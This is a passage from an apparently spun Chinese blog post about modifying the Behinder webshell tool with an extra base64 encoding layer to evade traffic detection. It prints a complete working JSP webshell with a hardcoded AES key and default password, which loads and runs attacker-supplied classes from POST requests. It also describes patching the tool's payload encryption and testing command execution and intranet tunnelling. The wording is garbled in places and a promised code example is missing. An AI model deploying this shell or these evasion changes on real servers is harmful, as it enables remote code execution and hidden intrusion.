修正Crypt.java里的Decrypt函数(我这里是做的base64编解码,只要在这个总的Decrypt函数开头做一次解码就行了,各位大佬们可以根据自己选用的编解码办法,自行修正这些Decrypt函数):
0x02 payload的修正
我自己对jsp马做了个大略的跟踪调试,创造解密函数解密的流量,该当是被客户端塞进去的payload里的xxx.class发出来的,这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。以是这里的思路是,把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修正一下,就能贯通全体加解密通讯流程了。详细操作还是以jsp增加base64编码举例子:由于演示的是jsp的部分,就去修正net.rebeyond.behinder.payload.java下面的Java代码文件,找到里面的Encrypt()函数(payload里的Java代码,挨个找找改一下,并不是每一个文件都有Encrypt,这里没有就不管),去修正加密逻辑就行了
note:别的措辞的payload里的加密函数也叫encrypt(最多有些大小写差异),但是要修正的话须要用对应的措辞去修正(个中,C#的是dll文件,须要额外的姿势,欢迎评论区老哥补充这方面方便的思路)以php为例子,加密函数修正如下:
0x03 webshell马子的修正
以jsp为例,这里便是在原来的base64解码里又套了一层base64解码:
<%@page import="java.util.,javax.crypto.,javax.crypto.spec."%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
0x04 打包与测试
用maven做package打包,完成后要用的是名字长的那个jar包(Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar)
本地运行,测试(命令实行、内网穿透等功能正常,不过数据库连接功能拉闸了):
末了有两个还没办理的东西:1.C#部分的dll文件处理(欢迎老哥们在评论区发点儿快捷的处理方法、思路)2.数据库连接功能涌现了bug(暂时还没去调试,老哥们有知道的欢迎评论区重拳出击)
本文作者:Credink